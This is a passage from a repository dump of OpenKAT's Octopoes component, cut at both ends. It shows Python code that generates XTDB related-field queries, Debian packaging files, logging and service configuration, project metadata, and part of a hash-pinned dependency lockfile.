f\":where [{' '.join(where_clauses)}]\"\n\n    q_in_args = \"\"\n    if in_args:\n        s = \" \".join(map(str, in_args))\n        q_in_args = f\":in-args [ {s} ]\"\n\n    find_section = \" \".join([q_fields, q_in, q_where, q_offset, q_limit])\n\n    return f\"{{:query {{:find {find_section} }} {q_in_args}}}\"\n"
  },
  {
    "path": "octopoes/octopoes/xtdb/related_field_generator.py",
    "content": "from octopoes.xtdb import Datamodel, FieldSet, ForeignKey\n\n\nclass RelatedFieldNode:\n    def __init__(self, data_model: Datamodel, object_types: set[str], path: tuple[ForeignKey, ...] = ()):\n        self.data_model = data_model\n        self.object_types = object_types\n\n        # relations_out -> { (origin_class_name, prop_name): QueryNode }\n        # e.g:          -> (DNSARecord, address): QueryNode[[IPAddressV4]]\n        # and:          -> (IPService, service): QueryNode[[Service]]\n        self.relations_out: dict[tuple[str, str], RelatedFieldNode] = {}\n\n        # relations_in  -> { (foreign_class_name, foreign_prop_name): QueryNode }\n        # e.g:          -> (DNSARecord, address, dns_a_records): QueryNode[[DNSARecord]]\n        # and:          -> (DNSAAAARecord, address, dns_aaaa_records): QueryNode[[DNSAAAARecord]]\n        self.relations_in: dict[tuple[str, str, str], RelatedFieldNode] = {}\n\n        self.path = path\n\n    def construct_outgoing_relations(self, search_types: set[str] | None = None):\n        types = self.object_types\n        if \"Network\" in self.object_types and len(self.path) > 0:  # Don't traverse Network if not root node. TODO: Fix\n            types = types - {\"Network\"}\n\n        # Loop over types in node\n        for object_type in types:\n            # Merge the relations of all the types in one dict\n            for foreign_key in self.data_model.entities[object_type]:\n                # Don't traverse the same relation back\n                if not self.path or foreign_key != self.path[-1]:\n                    if search_types and foreign_key.related_entities.isdisjoint(search_types):\n                        continue\n                    self.relations_out[(object_type, foreign_key.attr_name)] = RelatedFieldNode(\n                        self.data_model, foreign_key.related_entities, self.path + (foreign_key,)\n                    )\n\n    def construct_incoming_relations(self, search_types: set[str] | None = None):\n        types = self.object_types\n        if \"Network\" in self.object_types and len(self.path) > 0:  # Don't traverse Network if not root node. TODO: Fix\n            types = types - {\"Network\"}\n\n        # Loop all object types\n        for foreign_object_type, foreign_object_relations in self.data_model.entities.items():\n            # Loop all attributes\n            for foreign_key in foreign_object_relations:\n                # Other object points to one of the types in this QueryNode (i.e. sets are NOT disjoint)\n                # Don't traverse the same relation back\n                if not foreign_key.related_entities.isdisjoint(types) and (\n                    not self.path or foreign_key != self.path[-1]\n                ):\n                    if search_types and foreign_key.source_entity not in search_types:\n                        continue\n                    self.relations_in[(foreign_key.source_entity, foreign_key.attr_name, foreign_key.reverse_name)] = (\n                        RelatedFieldNode(self.data_model, {foreign_object_type}, self.path + (foreign_key,))\n                    )\n\n    def build_tree(self, depth: int, search_types: set[str] | None = None) -> None:\n        if depth > 0:\n            self.construct_outgoing_relations(search_types)\n            for child_node in self.relations_out.values():\n                child_node.build_tree(depth - 1)\n\n            self.construct_incoming_relations(search_types)\n            for child_node in self.relations_in.values():\n                child_node.build_tree(depth - 1, search_types)\n\n    def generate_field(self, field_set: FieldSet, pk_prefix: str) -> str:\n        queried_fields = pk_prefix if field_set is FieldSet.ONLY_ID else \"*\"\n        \"\"\"\n        Output dicts in XTDB Query Language\n        \"\"\"\n        if not self.relations_out and not self.relations_in:\n            return f\"[{queried_fields}]\"\n\n        # Loop outgoing QueryNodes\n        fields = [f\"{queried_fields}\"]\n        for key_out, node in self.relations_out.items():\n            cls, attr_name = key_out\n            deeper_fields = node.generate_field(field_set, pk_prefix)\n            field_query = f\"{{(:{cls}/{attr_name} {{:as {attr_name}}}) {deeper_fields}}}\"\n            fields.append(field_query)\n\n        # Loop incoming QueryNodes\n        for key_in, node in self.relations_in.items():\n            foreign_cls, attr_name, reverse_name = key_in\n            deeper_fields = node.generate_field(field_set, pk_prefix)\n            field_query = f\"{{(:{foreign_cls}/_{attr_name} {{:as {reverse_name}}}) {deeper_fields}}}\"\n            fields.append(field_query)\n\n        # Join fields\n        return \"[{}]\".format(\" \".join(sorted(fields)))\n\n    def search_nodes(self, search_object_types=set[str]):\n        # Filter outgoing QueryNodes\n        self.relations_out = {\n            key: node for key, node in self.relations_out.items() if node.search_nodes(search_object_types)\n        }\n\n        # Filter incoming QueryNodes\n        self.relations_in = {\n            key: node for key, node in self.relations_in.items() if node.search_nodes(search_object_types)\n        }\n\n        # If any children are still there, remain in tree\n        if self.relations_out or self.relations_in:\n            return True\n\n        # Match self\n        return not self.object_types.isdisjoint(search_object_types)\n\n    def __repr__(self) -> str:\n        return f\"QueryNode[{self}]\"\n\n    def __str__(self) -> str:\n        return \",\".join(self.object_types)\n\n    def __eq__(self, other):\n        if isinstance(other, RelatedFieldNode):\n            return self.object_types == other.object_types\n        else:\n            return False\n\n    def __hash__(self):\n        return hash(self.__repr__())\n\n    def to_dict(self):\n        \"\"\"\n        Method to nest dicts for debugging reasons\n        \"\"\"\n        d = {}\n        if self.relations_out:\n            for key_out, node in self.relations_out.items():\n                d[f\"{key_out[0]}/{key_out[1]}\"] = node.to_dict()\n        if self.relations_in:\n            for key_in, node in self.relations_in.items():\n                d[f\"{key_in[0]}/_{key_in[1]} as {key_in[0]}/_{key_in[1]}\"] = node.to_dict()\n        return d\n"
  },
  {
    "path": "octopoes/packaging/deb/Makefile",
    "content": "#!/usr/bin/make -f\nprefix=/usr\n\nall:\n\ninstall:\n\tcd data && find . -type f -exec install -D \"{}\" \"$(DESTDIR)/{}\" \\;\n\nclean:\n\ndistclean: clean\n\nuninstall:\n\t-rm -rf $(DESTDIR)/usr/share/kat-octopoes\n\n.PHONY: all install clean distclean uninstall\n"
  },
  {
    "path": "octopoes/packaging/deb/data/etc/kat/octopoes.conf",
    "content": "# XTDB_URI=\"http://localhost:3000\"\nQUEUE_URI=\n# OCTOPOES_LOG_CFG=/etc/kat/octopoes.logging.yml\n# KATALOGUS_API=http://localhost:8003\n"
  },
  {
    "path": "octopoes/packaging/deb/data/etc/kat/octopoes.gunicorn.conf.py",
    "content": "workers = 4\nbind = [\"127.0.0.1:8001\"]\n"
  },
  {
    "path": "octopoes/packaging/deb/data/etc/kat/octopoes.logging.yml",
    "content": "version: 1\ndisable_existing_loggers: 0\n\nformatters:\n  default:\n    format: \"%(asctime)s [%(process)d] [%(levelname)s] [%(module)s] %(message)s\"\n    datefmt: \"[%Y-%m-%d %H:%M:%S %z]\"\n\nhandlers:\n  console:\n    class: logging.StreamHandler\n    formatter: default\n    level: INFO\n    stream: ext://sys.stdout\n  syslog:\n    class: logging.handlers.SysLogHandler\n    formatter: default\n    address: /dev/log\n    facility: local0\n\nroot:\n  level: INFO\n  handlers: [console, syslog]\n\nloggers:\n  uvicorn:\n    level: INFO\n    propagate: 0\n    handlers: [console, syslog]\n  pika:\n    level: WARN\n    handlers: [console, syslog]\n    propagate: 0\n  api:\n    LEVEL: INFO\n    handlers: [console, syslog]\n    propagate: 0\n"
  },
  {
    "path": "octopoes/packaging/scripts/build-debian-package.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# TODO: generate proper changelog\necho \"Create changelog file\"\ncat > debian/changelog << EOF\n${PKG_NAME} (${RELEASE_VERSION}) unstable; urgency=low\n  * view changes: https://github.com/${REPOSITORY}/releases/tag/${RELEASE_TAG}\n\n -- OpenKAT <maintainer@openkat.nl>  $(LANG=C date -R)\n\nEOF\n\ndpkg-buildpackage -us -uc -b\n\nmv /\"${PKG_NAME}\"_\"${RELEASE_VERSION}\"_*.deb /app/build/\n"
  },
  {
    "path": "octopoes/prod.logging.yml",
    "content": "version: 1\ndisable_existing_loggers: 0\n\nformatters:\n  default:\n    format: \"%(asctime)s [%(process)d] [%(levelname)s] [%(module)s] %(message)s\"\n    datefmt: \"[%Y-%m-%d %H:%M:%S %z]\"\n\nhandlers:\n  console:\n    class: logging.StreamHandler\n    formatter: default\n    level: INFO\n    stream: ext://sys.stdout\n  syslog:\n    class: logging.handlers.SysLogHandler\n    formatter: default\n    address: /dev/log\n    facility: local0\n\nroot:\n  level: INFO\n  handlers: [console, syslog]\n\nloggers:\n  uvicorn:\n    level: INFO\n    propagate: 0\n    handlers: [console, syslog]\n  pika:\n    level: WARN\n    handlers: [console, syslog]\n    propagate: 0\n  api:\n    LEVEL: INFO\n    handlers: [console, syslog]\n    propagate: 0\n"
  },
  {
    "path": "octopoes/pyproject.toml",
    "content": "[project]\nname = \"octopoes\"\nversion = \"0.0.1.dev1\"\ndescription = \"OpenKAT's knowledge graph engine\"\nauthors = [{ name = \"Stichting LibreKAT\", email = \"maintainer@librekat.nl\" }]\nrequires-python = \">=3.10\"\nlicense = { text = \"EUPL-1.2\" }\ndependencies = [\n    \"pydantic>=2.7.1,<3\",\n    \"uvicorn>=0.29.0,<0.30\",\n    \"pika>=1.3.1,<2\",\n    \"PyYAML~=6.0\",\n    \"dnspython>=2.6.1,<3\",\n    \"kombu>=5.2.4,<6\",\n    \"celery>=5.2.7,<6\",\n    \"pyparsing>=3.0.9,<4\",\n    \"tldextract>5\",\n    \"opentelemetry-sdk\",\n    \"opentelemetry-instrumentation\",\n    \"opentelemetry-exporter-otlp-proto-grpc\",\n    \"opentelemetry-instrumentation-fastapi\",\n    \"opentelemetry-instrumentation-psycopg2\",\n    \"opentelemetry-instrumentation-httpx\",\n    \"sqlalchemy==1.4.48\",\n    \"jsonschema>=4.18.0,<5\",\n    \"pydantic-settings>=2.2.1,<3\",\n    \"httpx>=0.28.1,<0.29\",\n    \"link-shorteners>=1.11.0,<2\",\n    \"opentelemetry-api\",\n    \"opentelemetry-exporter-otlp-proto-common\",\n    \"opentelemetry-instrumentation-asgi\",\n    \"opentelemetry-instrumentation-dbapi\",\n    \"opentelemetry-proto\",\n    \"opentelemetry-semantic-conventions\",\n    \"opentelemetry-util-http\",\n    \"fastapi-slim>=0.115.2\",\n    \"structlog>=25.2.0,<26\",\n    \"asgiref>=3.8.1,<4\",\n    \"setuptools>80,<82\",\n    \"requests>=2.33.0,<3\",\n    \"pygments>=2.20.0\",\n    \"wrapt>=2.1.2\",\n    \"attrs>=26.1.0\",\n]\n\n[dependency-groups]\ndev = [\n    \"robotframework>=7.2.2,<8\",\n    \"robotframework-requests>=0.9.7,<0.10\",\n    \"robotframework-httplibrary>=0.4.2,<0.5\",\n    \"pytest>=9.0.2,<10\",\n    \"pytest-cov>=7\",\n    \"pytest-mock>=3.14.0,<4\",\n    \"pytest-env>=1.1.5,<2\",\n    \"pytest-timeout>=2.4.0,<3\",\n    \"pytest-httpx>=0.35.0\",\n]\n\n[tool.uv]\npackage = false\n\n[tool.coverage.run]\nrelative_files = true\n\n[tool.pytest.ini_options]\naddopts = \"--cov --cov-report xml --cov-branch --cov-report=term-missing:skip-covered\"\nenv = [\n    \"D:XTDB_URI=http://xtdb:3000\",\n    \"D:QUEUE_URI=amqp://placeholder\",\n    \"D:KATALOGUS_API=http://placeholder:8000\",\n]\n"
  },
  {
    "path": "octopoes/requirements-dev.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project ./octopoes --group dev --format requirements-txt -o ./octopoes/requirements-dev.txt\namqp==5.3.1 \\\n    --hash=sha256:43b3319e1b4e7d1251833a93d672b4af1e40f3d632d479b98661a95f117880a2 \\\n    --hash=sha256:cddc00c725449522023bad949f70fff7b48f0b1ade74d170a6f10ab044739432\n    # via kombu\nannotated-doc==0.0.4 \\\n    --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 \\\n    --hash=sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4\n    # via fastapi\nannotated-types==0.7.0 \\\n    --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \\\n    --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89\n    # via pydantic\nanyio==4.13.0 \\\n    --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 \\\n    --hash=sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc\n    # via\n    #   httpx\n    #   starlette\nasgiref==3.11.1 \\\n    --hash=sha256:5f184dc43b7e763efe848065441eac62229c9f7b0475f41f80e207a114eda4ce \\\n    --hash=sha256:e8667a091e69529631969fd45dc268fa79b99c92c5fcdda727757e52146ec133\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation-asgi\nattrs==26.1.0 \\\n    --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \\\n    --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32\n    # via\n    #   jsonschema\n    #   octopoes\n    #   referencing\nbeautifulsoup4==4.14.3 \\\n    --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb \\\n    --hash=sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86\n    # via webtest\nbilliard==4.2.4 \\\n    --hash=sha256:525b42bdec68d2b983347ac312f892db930858495db601b5836ac24e6477cde5 \\\n    --hash=sha256:55f542c371209e03cd5862299b74e52e4fbcba8250ba611ad94276b369b6a85f\n    # via celery\ncelery==5.6.3 \\\n    --hash=sha256:0808f42f80909c4d5833202360ffafb2a4f83f4d8e23e1285d926610e9a7afa6 \\\n    --hash=sha256:177006bd2054b882e9f01be59abd8529e88879ef50d7918a7050c5a9f4e12912\n    # via octopoes\ncertifi==2026.2.25 \\\n    --hash=sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa \\\n    --hash=sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\ncharset-normalizer==3.4.7 \\\n    --hash=sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc \\\n    --hash=sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c \\\n    --hash=sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4 \\\n    --hash=sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0 \\\n    --hash=sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c \\\n    --hash=sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5 \\\n    --hash=sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153 \\\n    --hash=sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b \\\n    --hash=sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c \\\n    --hash=sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a \\\n    --hash=sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7 \\\n    --hash=sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb \\\n    --hash=sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c \\\n    --hash=sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1 \\\n    --hash=sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab \\\n    --hash=sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df \\\n    --hash=sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e \\\n    --hash=sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18 \\\n    --hash=sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38 \\\n    --hash=sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110 \\\n    --hash=sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18 \\\n    --hash=sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44 \\\n    --hash=sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d \\\n    --hash=sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48 \\\n    --hash=sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e \\\n    --hash=sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5 \\\n    --hash=sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d \\\n    --hash=sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53 \\\n    --hash=sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790 \\\n    --hash=sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c \\\n    --hash=sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b \\\n    --hash=sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116 \\\n    --hash=sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d \\\n    --hash=sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10 \\\n    --hash=sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6 \\\n    --hash=sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2 \\\n    --hash=sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a \\\n    --hash=sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265 \\\n    --hash=sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008 \\\n    --hash=sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943 \\\n    --hash=sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374 \\\n    --hash=sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246 \\\n    --hash=sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e \\\n    --hash=sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616 \\\n    --hash=sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15 \\\n    --hash=sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41 \\\n    --hash=sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960 \\\n    --hash=sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752 \\\n    --hash=sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e \\\n    --hash=sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72 \\\n    --hash=sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7 \\\n    --hash=sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8 \\\n    --hash=sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b \\\n    --hash=sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb \\\n    --hash=sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e \\\n    --hash=sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00 \\\n    --hash=sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f \\\n    --hash=sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a \\\n    --hash=sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1 \\\n    --hash=sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66 \\\n    --hash=sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356 \\\n    --hash=sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4 \\\n    --hash=sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad \\\n    --hash=sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d \\\n    --hash=sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5 \\\n    --hash=sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7 \\\n    --hash=sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34 \\\n    --hash=sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49 \\\n    --hash=sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1 \\\n    --hash=sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e \\\n    --hash=sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0 \\\n    --hash=sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d \\\n    --hash=sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0 \\\n    --hash=sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae \\\n    --hash=sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d \\\n    --hash=sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe \\\n    --hash=sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3 \\\n    --hash=sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393 \\\n    --hash=sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1 \\\n    --hash=sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af \\\n    --hash=sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44 \\\n    --hash=sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c \\\n    --hash=sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd \\\n    --hash=sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e \\\n    --hash=sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b \\\n    --hash=sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8 \\\n    --hash=sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859 \\\n    --hash=sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46 \\\n    --hash=sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b \\\n    --hash=sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46 \\\n    --hash=sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a \\\n    --hash=sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24 \\\n    --hash=sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215 \\\n    --hash=sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063 \\\n    --hash=sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832 \\\n    --hash=sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6 \\\n    --hash=sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79 \\\n    --hash=sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464\n    # via requests\nclick==8.3.2 \\\n    --hash=sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5 \\\n    --hash=sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d\n    # via\n    #   celery\n    #   click-didyoumean\n    #   click-plugins\n    #   click-repl\n    #   uvicorn\nclick-didyoumean==0.3.1 \\\n    --hash=sha256:4f82fdff0dbe64ef8ab2279bd6aa3f6a99c3b28c05aa09cbfc07c9d7fbb5a463 \\\n    --hash=sha256:5c4bb6007cfea5f2fd6583a2fb6701a22a41eb98957e63d0fac41c10e7c3117c\n    # via celery\nclick-plugins==1.1.1.2 \\\n    --hash=sha256:008d65743833ffc1f5417bf0e78e8d2c23aab04d9745ba817bd3e71b0feb6aa6 \\\n    --hash=sha256:d7af3984a99d243c131aa1a828331e7630f4a88a9741fd05c927b204bcf92261\n    # via celery\nclick-repl==0.3.0 \\\n    --hash=sha256:17849c23dba3d667247dc4defe1757fff98694e90fe37474f3feebb69ced26a9 \\\n    --hash=sha256:fb7e06deb8da8de86180a33a9da97ac316751c094c6899382da7feeeeb51b812\n    # via celery\ncolorama==0.4.6 ; sys_platform == 'win32' \\\n    --hash=sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44 \\\n    --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6\n    # via\n    #   click\n    #   pytest\ncoverage==7.13.5 \\\n    --hash=sha256:012d5319e66e9d5a218834642d6c35d265515a62f01157a45bcc036ecf947256 \\\n    --hash=sha256:02ca0eed225b2ff301c474aeeeae27d26e2537942aa0f87491d3e147e784a82b \\\n    --hash=sha256:03ccc709a17a1de074fb1d11f217342fb0d2b1582ed544f554fc9fc3f07e95f5 \\\n    --hash=sha256:0428cbef5783ad91fe240f673cc1f76b25e74bbfe1a13115e4aa30d3f538162d \\\n    --hash=sha256:04690832cbea4e4663d9149e05dba142546ca05cb1848816760e7f58285c970a \\\n    --hash=sha256:0590e44dd2745c696a778f7bab6aa95256de2cbc8b8cff4f7db8ff09813d6969 \\\n    --hash=sha256:0672854dc733c342fa3e957e0605256d2bf5934feeac328da9e0b5449634a642 \\\n    --hash=sha256:084b84a8c63e8d6fc7e3931b316a9bcafca1458d753c539db82d31ed20091a87 \\\n    --hash=sha256:0b67af5492adb31940ee418a5a655c28e48165da5afab8c7fa6fd72a142f8740 \\\n    --hash=sha256:0cd9ed7a8b181775459296e402ca4fb27db1279740a24e93b3b41942ebe4b215 \\\n    --hash=sha256:0cef0cdec915d11254a7f549c1170afecce708d30610c6abdded1f74e581666d \\\n    --hash=sha256:0e223ce4b4ed47f065bfb123687686512e37629be25cc63728557ae7db261422 \\\n    --hash=sha256:0e3c426ffc4cd952f54ee9ffbdd10345709ecc78a3ecfd796a57236bfad0b9b8 \\\n    --hash=sha256:0ecf12ecb326fe2c339d93fc131816f3a7367d223db37817208905c89bded911 \\\n    --hash=sha256:10a0c37f0b646eaff7cce1874c31d1f1ccb297688d4c747291f4f4c70741cc8b \\\n    --hash=sha256:145ede53ccbafb297c1c9287f788d1bc3efd6c900da23bf6931b09eafc931587 \\\n    --hash=sha256:1b11eef33edeae9d142f9b4358edb76273b3bfd30bc3df9a4f95d0e49caf94e8 \\\n    --hash=sha256:1b88c69c8ef5d4b6fe7dea66d6636056a0f6a7527c440e890cf9259011f5e606 \\\n    --hash=sha256:258354455f4e86e3e9d0d17571d522e13b4e1e19bf0f8596bcf9476d61e7d8a9 \\\n    --hash=sha256:259b69bb83ad9894c4b25be2528139eecba9a82646ebdda2d9db1ba28424a6bf \\\n    --hash=sha256:2aa055ae1857258f9e0045be26a6d62bdb47a72448b62d7b55f4820f361a2633 \\\n    --hash=sha256:2d3807015f138ffea1ed9afeeb8624fd781703f2858b62a8dd8da5a0994c57b6 \\\n    --hash=sha256:301e3b7dfefecaca37c9f1aa6f0049b7d4ab8dd933742b607765d757aca77d43 \\\n    --hash=sha256:32ca0c0114c9834a43f045a87dcebd69d108d8ffb666957ea65aa132f50332e2 \\\n    --hash=sha256:34b02417cf070e173989b3db962f7ed56d2f644307b2cf9d5a0f258e13084a61 \\\n    --hash=sha256:356e76b46783a98c2a2fe81ec79df4883a1e62895ea952968fb253c114e7f930 \\\n    --hash=sha256:35a31f2b1578185fbe6aa2e74cea1b1d0bbf4c552774247d9160d29b80ed56cc \\\n    --hash=sha256:380e8e9084d8eb38db3a9176a1a4f3c0082c3806fa0dc882d1d87abc3c789247 \\\n    --hash=sha256:3ad050321264c49c2fa67bb599100456fc51d004b82534f379d16445da40fb75 \\\n    --hash=sha256:3e1bb5f6c78feeb1be3475789b14a0f0a5b47d505bfc7267126ccbd50289999e \\\n    --hash=sha256:3f4818d065964db3c1c66dc0fbdac5ac692ecbc875555e13374fdbe7eedb4376 \\\n    --hash=sha256:460cf0114c5016fa841214ff5564aa4864f11948da9440bc97e21ad1f4ba1e01 \\\n    --hash=sha256:48c39bc4a04d983a54a705a6389512883d4a3b9862991b3617d547940e9f52b1 \\\n  